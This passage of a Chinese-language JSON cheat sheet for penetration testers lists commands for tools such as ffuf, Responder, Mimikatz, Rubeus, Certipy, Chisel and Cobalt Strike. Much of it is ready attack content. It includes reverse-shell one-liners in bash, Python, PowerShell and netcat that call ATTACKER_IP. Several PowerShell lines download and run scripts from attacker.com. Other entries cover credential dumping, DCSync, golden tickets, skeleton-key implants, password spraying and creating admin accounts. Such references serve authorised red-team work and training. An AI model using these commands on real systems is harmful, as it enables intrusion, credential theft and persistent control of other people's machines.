    "description": "快速Web模糊测试工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt",
        "description": "基础目录爆破",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt",
        "description": "添加文件扩展名",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com/?param=FUZZ -w wordlist.txt",
        "description": "GET参数测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com -X POST -d \"user=FUZZ&pass=test\" -w wordlist.txt",
        "description": "POST数据测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w wordlist.txt",
        "description": "Host头测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302",
        "description": "匹配特定状态码",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234",
        "description": "过滤特定响应大小",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2",
        "description": "递归目录扫描",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "responder",
    "name": "Responder",
    "description": "LLMNR/NBT-NS/MDNS Poisoner",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "responder -I eth0",
        "description": "启动Responder监听",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "responder -I eth0 -A",
        "description": "被动分析模式",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "responder -I eth0 -wF",
        "description": "启用WPAD代理攻击",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "responder -I eth0 -f",
        "description": "启用Finger服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "responder -I eth0 --disable-smb",
        "description": "禁用SMB服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat /usr/share/responder/logs/*.txt",
        "description": "查看捕获的哈希",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "responder -I eth0 -D",
        "description": "启用DHCP欺骗",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "evil-winrm",
    "name": "Evil-WinRM",
    "description": "WinRM远程管理工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "evil-winrm -i target_ip -u user -p password",
        "description": "使用密码连接",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "evil-winrm -i target_ip -u user -H ntlm_hash",
        "description": "使用哈希连接",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "upload local_file remote_path",
        "description": "上传文件到目标",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "download remote_path local_file",
        "description": "从目标下载文件",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "menu\nBypass-4MSI\nInvoke-Mimikatz",
        "description": "加载PowerShell脚本",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "Invoke-Command -ScriptBlock {whoami}",
        "description": "执行PowerShell命令",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "proxychains",
    "name": "ProxyChains",
    "description": "代理链工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "vim /etc/proxychains4.conf\n[ProxyList]\nsocks5 127.0.0.1 1080",
        "description": "配置SOCKS代理",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "proxychains4 nmap -sT -Pn target_ip",
        "description": "通过代理运行工具",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "dynamic_chain\n[ProxyList]\nsocks5 127.0.0.1 1080\nsocks5 127.0.0.1 1081",
        "description": "动态代理链",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "strict_chain",
        "description": "严格按顺序使用代理",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "random_chain",
        "description": "随机选择代理",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "bash-reverse",
    "name": "Bash反弹Shell",
    "description": "Bash反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1",
        "description": "基础Bash反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done",
        "description": "exec方式反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1",
        "description": "UDP反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"",
        "description": "bash -c执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nc -lvnp PORT",
        "description": "Netcat监听",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "python-reverse",
    "name": "Python反弹Shell",
    "description": "Python反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
        "description": "Python反弹Shell",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
        "description": "Python3反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "python -c 'import pty;pty.spawn(\"/bin/bash\")'",
        "description": "获取完整TTY",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "powershell-reverse",
    "name": "PowerShell反弹Shell",
    "description": "PowerShell反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
        "description": "PowerShell反弹",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "powershell -e BASE64_ENCODED_COMMAND",
        "description": "Base64编码执行",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://attacker.com/powercat.ps1');powercat -c ATTACKER_IP -p PORT -e cmd\"",
        "description": "使用PowerCat",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "nc-reverse",
    "name": "Netcat反弹Shell",
    "description": "Netcat反弹Shell命令",
    "category": "反弹Shell",
    "tags": [],
    "commands": [
      {
        "command": "nc -e /bin/sh ATTACKER_IP PORT",
        "description": "传统nc反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f",
        "description": "OpenBSD nc反弹",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nc -lvnp PORT",
        "description": "监听连接",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nc -lvnp PORT < file    # 发送端\nnc ATTACKER_IP PORT > file    # 接收端",
        "description": "通过nc传输文件",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "nuclei",
    "name": "Nuclei",
    "description": "快速漏洞扫描工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "nuclei -u http://target.com",
        "description": "使用所有模板扫描",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -u http://target.com -t cves/",
        "description": "使用CVE模板",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -u http://target.com -severity critical,high",
        "description": "指定漏洞严重级别",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -l urls.txt",
        "description": "从文件读取目标",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -update-templates",
        "description": "更新模板库",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -u http://target.com -o results.txt",
        "description": "保存扫描结果",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "nuclei -u http://target.com -json -o results.json",
        "description": "JSON格式输出",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "windows-cmd",
    "name": "Windows CMD命令",
    "description": "Windows系统常用命令",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "systeminfo\nver\nhostname",
        "description": "获取系统信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net user\nnet user username password /add\nnet localgroup administrators username /add",
        "description": "用户管理命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "ipconfig /all\nnetstat -ano\nnetstat -anob\nroute print\narp -a",
        "description": "网络配置信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "tasklist\ntaskkill /PID pid /F\nwmic process list full",
        "description": "进程管理命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "sc query\nsc start servicename\nsc stop servicename\nnet start",
        "description": "服务管理命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "dir /s /b c:\\*.txt\ntype filename\nfind \"string\" filename\nicacls filename",
        "description": "文件操作命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "reg query HKLM\\Software\nreg add HKLM\\Software\\MyKey /v Value /t REG_SZ /d \"Data\" /f\nreg delete HKLM\\Software\\MyKey /f",
        "description": "注册表操作",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "netsh advfirewall show allprofiles\nnetsh advfirewall firewall add rule name=\"Allow Port\" dir=in action=allow protocol=tcp localport=8080",
        "description": "防火墙配置",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "net-commands",
    "name": "NET命令集合",
    "description": "Windows NET命令完整集合",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "net user",
        "description": "列出所有用户",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net user username",
        "description": "查看用户详细信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net user username password /add",
        "description": "添加新用户",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net user username /delete",
        "description": "删除用户",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net localgroup",
        "description": "列出所有本地组",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net localgroup administrators username /add",
        "description": "将用户添加到管理员组",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net user /domain",
        "description": "列出域用户",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net group \"Domain Admins\" /domain",
        "description": "列出域管理员",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net share",
        "description": "列出共享资源",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net share sharename=C:\\path /grant:everyone,full",
        "description": "创建共享",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net session",
        "description": "列出当前会话",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "net use \\\\target\\share password /user:domain\\user",
        "description": "连接网络共享",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "bloodhound-tool",
    "name": "BloodHound",
    "description": "Active Directory关系分析工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "sudo neo4j console",
        "description": "启动Neo4j数据库",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "bloodhound",
        "description": "启动BloodHound界面",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpHound.exe -c All",
        "description": "采集所有域信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/SharpHound.ps1\"); Invoke-BloodHound -CollectionMethod All",
        "description": "PowerShell远程加载采集",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "bloodhound-python -u user -p password -d domain.com -ns dc_ip",
        "description": "Python版本采集",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name=\"DOMAIN ADMINS@DOMAIN.COM\" RETURN p",
        "description": "查询到域管理员的最短路径",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (n)-[r:DCSync]->(m) RETURN n,m",
        "description": "查询DCSync权限关系",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c",
        "description": "查询无约束委派计算机",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "MATCH (n:User) WHERE n.admincount=true RETURN n",
        "description": "查询高权限用户",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "mimikatz-tool",
    "name": "Mimikatz",
    "description": "Windows凭证提取工具",
    "category": "凭证窃取",
    "tags": [],
    "commands": [
      {
        "command": "privilege::debug",
        "description": "获取Debug权限",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "sekurlsa::logonpasswords",
        "description": "抓取所有登录凭证",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "sekurlsa::minidump lsass.dmp",
        "description": "从LSASS转储文件提取",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH",
        "description": "哈希传递攻击",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "lsadump::dcsync /domain:domain.com /user:Administrator",
        "description": "DCSync获取域管哈希",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "lsadump::sam",
        "description": "导出SAM数据库",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "lsadump::lsa /inject",
        "description": "导出LSA密钥",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt",
        "description": "生成黄金票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt",
        "description": "生成白银票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "kerberos::list",
        "description": "列出Kerberos票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "kerberos::list /export",
        "description": "导出Kerberos票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "misc::skeleton",
        "description": "植入万能密码",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "rubeus-tool",
    "name": "Rubeus",
    "description": "Kerberos攻击工具",
    "category": "凭证窃取",
    "tags": [],
    "commands": [
      {
        "command": "Rubeus.exe kerberoast /stats",
        "description": "Kerberoasting攻击",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe asreproast /user:username",
        "description": "AS-REP Roasting攻击",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe asktgt /user:username /password:password",
        "description": "请求TGT票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64",
        "description": "请求服务票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target",
        "description": "S4U协议攻击",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator",
        "description": "生成黄金票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe ptt /ticket:TICKET_BASE64",
        "description": "注入票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe klist",
        "description": "列出当前票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe monitor /interval:30",
        "description": "监视新票据",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "certipy-tool",
    "name": "Certipy",
    "description": "ADCS证书服务攻击工具",
    "category": "域渗透",
    "tags": [],
    "commands": [
      {
        "command": "certipy find -u user@domain.com -p password -dc-ip dc_ip",
        "description": "枚举证书服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com",
        "description": "ESC1模板滥用",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE",
        "description": "ESC2任意用途",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy auth -pfx administrator.pfx -domain domain.com",
        "description": "使用证书认证",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy relay -ca ca_server -template DomainController",
        "description": "HTTP中继攻击",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template User -out user.pfx",
        "description": "导出PFX证书",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "kerbrute-tool",
    "name": "Kerbrute",
    "description": "Kerberos暴力破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "kerbrute userenum -d domain.com --dc dc_ip users.txt",
        "description": "枚举域用户",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "kerbrute passwordspray -d domain.com --dc dc_ip users.txt Password123",
        "description": "密码喷洒攻击",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "kerbrute bruteuser -d domain.com --dc dc_ip wordlist.txt username",
        "description": "暴力破解用户",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "kerbrute -d domain.com --dc dc_ip user:password",
        "description": "验证凭证",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "sharphound-tool",
    "name": "SharpHound",
    "description": "BloodHound数据采集器",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "SharpHound.exe -c All",
        "description": "采集所有数据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com",
        "description": "指定域控制器",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpHound.exe -c All --Domain domain.com",
        "description": "指定域名",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\\Users\\Public",
        "description": "随机文件名隐蔽采集",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpHound.exe -c Default,ACL,Trusts,Container",
        "description": "指定采集方法",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "seatbelt-tool",
    "name": "Seatbelt",
    "description": "Windows安全信息收集工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "Seatbelt.exe -group=all",
        "description": "收集所有信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=system",
        "description": "收集系统信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=user",
        "description": "收集用户信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=security",
        "description": "收集安全配置",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=network",
        "description": "收集网络信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=all -computername=TARGET -username=DOMAIN\\user -password=password",
        "description": "远程信息收集",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "winpeas-tool",
    "name": "WinPEAS",
    "description": "Windows提权辅助工具",
    "category": "权限提升",
    "tags": [],
    "commands": [
      {
        "command": "winpeas.exe",
        "description": "执行完整提权扫描",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeas.exe fast",
        "description": "快速扫描模式",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeas.exe cmd",
        "description": "显示详细命令输出",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeas.exe > output.txt",
        "description": "保存扫描结果",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "linpeas-tool",
    "name": "LinPEAS",
    "description": "Linux提权辅助工具",
    "category": "权限提升",
    "tags": [],
    "commands": [
      {
        "command": "./linpeas.sh",
        "description": "执行完整提权扫描",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "./linpeas.sh -a",
        "description": "自动发现模式",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "./linpeas.sh -P",
        "description": "检查密码策略",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "./linpeas.sh > output.txt",
        "description": "保存扫描结果",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "chisel-tool",
    "name": "Chisel",
    "description": "HTTP隧道工具",
    "category": "隧道代理",
    "tags": [],
    "commands": [
      {
        "command": "./chisel server -p 8000 --reverse",
        "description": "启动服务端",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "chisel.exe client attacker_ip:8000 R:socks",
        "description": "建立反向SOCKS代理",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389",
        "description": "端口转发",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "chisel.exe client attacker_ip:8000 socks",
        "description": "建立正向SOCKS代理",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389",
        "description": "多端口转发",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ligolo-tool",
    "name": "Ligolo-ng",
    "description": "隧道工具",
    "category": "隧道代理",
    "tags": [],
    "commands": [
      {
        "command": "sudo proxy -selfcert",
        "description": "启动代理服务器",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "agent.exe -connect attacker_ip:11601 -ignore-cert",
        "description": "Agent连接到代理",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "session\nsession_select_id",
        "description": "选择会话",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "start_tunnel",
        "description": "启动隧道",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "interface_add_route 10.10.10.0/24",
        "description": "添加目标网段",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "sharpsmbclient-tool",
    "name": "SharpSMBClient",
    "description": "SMB客户端工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -L",
        "description": "列出SMB共享",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l",
        "description": "列出共享目录",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g \"path\\file\"",
        "description": "下载文件",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path",
        "description": "上传文件",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "donpapi-tool",
    "name": "DonPAPI",
    "description": "DPAPI凭证提取工具",
    "category": "凭证窃取",
    "tags": [],
    "commands": [
      {
        "command": "donpapi domain/user:password@target_ip",
        "description": "提取DPAPI凭证",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "donpapi -hashes :NTHASH domain/user@target_ip",
        "description": "使用哈希认证",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "donpapi domain/user:password@targets.txt",
        "description": "批量提取凭证",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "powersploit-tool",
    "name": "PowerSploit",
    "description": "PowerShell渗透测试框架",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/PowerView.ps1\")",
        "description": "远程加载PowerView",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-NetDomain",
        "description": "获取域信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-NetUser",
        "description": "获取域用户",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-NetGroup \"Domain Admins\"",
        "description": "获取域管理员",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-NetDomainController",
        "description": "获取域控制器",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Find-DomainUserLocation",
        "description": "查找域管理员登录位置",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-ObjectAcl -SamAccountName target",
        "description": "获取对象ACL",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Add-DomainObjectAcl -TargetIdentity target -Rights DCSync",
        "description": "添加DCSync权限",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "cobaltstrike-tool",
    "name": "Cobalt Strike",
    "description": "红队渗透测试框架",
    "category": "红队工具",
    "tags": [],
    "commands": [
      {
        "command": "./teamserver ip password [C2配置文件]",
        "description": "启动团队服务器",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "Attacks -> Packages -> Windows Executable",
        "description": "生成可执行Payload",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "Cobalt Strike -> Listeners -> Add",
        "description": "添加监听器",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "shell whoami\nps\nhashdump\nmimikatz",
        "description": "Beacon常用命令",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "beacon> link target_ip",
        "description": "SMB Beacon横向",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "beacon> socks 1080",
        "description": "启动SOCKS代理",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "beacon> steal_token PID",
        "description": "窃取进程令牌",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "beacon> runas domain\\user password command",
        "description": "以其他用户运行",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "searchsploit-tool",
    "name": "SearchSploit",
    "description": "漏洞搜索工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "searchsploit apache 2.4",
        "description": "搜索Apache漏洞",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -e \"Apache 2.4\"",
        "description": "精确匹配搜索",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit apache --exclude=\"DoS\"",
        "description": "排除特定类型",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -x exploits/xxx.py",
        "description": "查看漏洞代码",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -m exploits/xxx.py",
        "description": "复制到当前目录",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -u",
        "description": "更新漏洞数据库",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "wfuzz-tool",
    "name": "WFuzz",
    "description": "Web模糊测试工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "wfuzz -c -w wordlist.txt http://target.com/FUZZ",
        "description": "基础目录爆破",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
